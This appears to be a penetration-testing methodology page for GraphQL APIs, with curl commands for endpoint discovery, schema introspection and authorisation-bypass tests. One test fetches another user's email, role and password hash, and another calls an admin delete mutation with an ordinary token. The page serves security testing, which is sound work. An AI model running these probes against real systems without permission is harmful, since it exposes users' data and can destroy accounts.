GraphQL API Security

Purpose

Comprehensive GraphQL API testing: schema intelligence, authorization bypass, resource consumption, and mutation abuse.

Preconditions

• A GraphQL endpoint has been identified (POST to /graphql or similar)
• At least one valid session (for authenticated queries)

Attack Surface Signals

• POST to /graphql, /query, /api/graphql, /v1/graphql
• JSON responses with data/errors structure
• Apollo/Relay/urql client libraries in JavaScript
• Content-Type: application/json with query in the body

Methodology

Endpoint Discovery

for path in graphql graphql/v1 api/graphql query gql; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" -X POST "https://TARGET/$path" \
    -H "Content-Type: application/json" -d '{"query":"{__typename}"}')
  [ "$code" = "200" ] && echo "[GRAPHQL] /$path"
done

Introspection (Reconnaissance, NOT a standalone vulnerability)

curl -sk -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name fields{name type{name}}}}}"}' | jq .

Introspection is attack-surface intelligence. Report it only when combined with a separately confirmed access-control or data-exposure issue. If introspection reveals admin-only types or mutation names, use them for BOLA/BFLA testing below.

BOLA (Object-Level Authorization)

# Query for another user's data by ID
curl -sk -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer USER_A_TOKEN" \
  -d '{"query":"{user(id:\\"USER_B_ID\\"){email role passwordHash}}"}'

BFLA (Function-Level Authorization)

# Try admin-only mutations with a regular user token
curl -sk -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer USER_TOKEN" \
  -d '{"query":"mutation{deleteUser(id:\\"123\\"){success}}"}'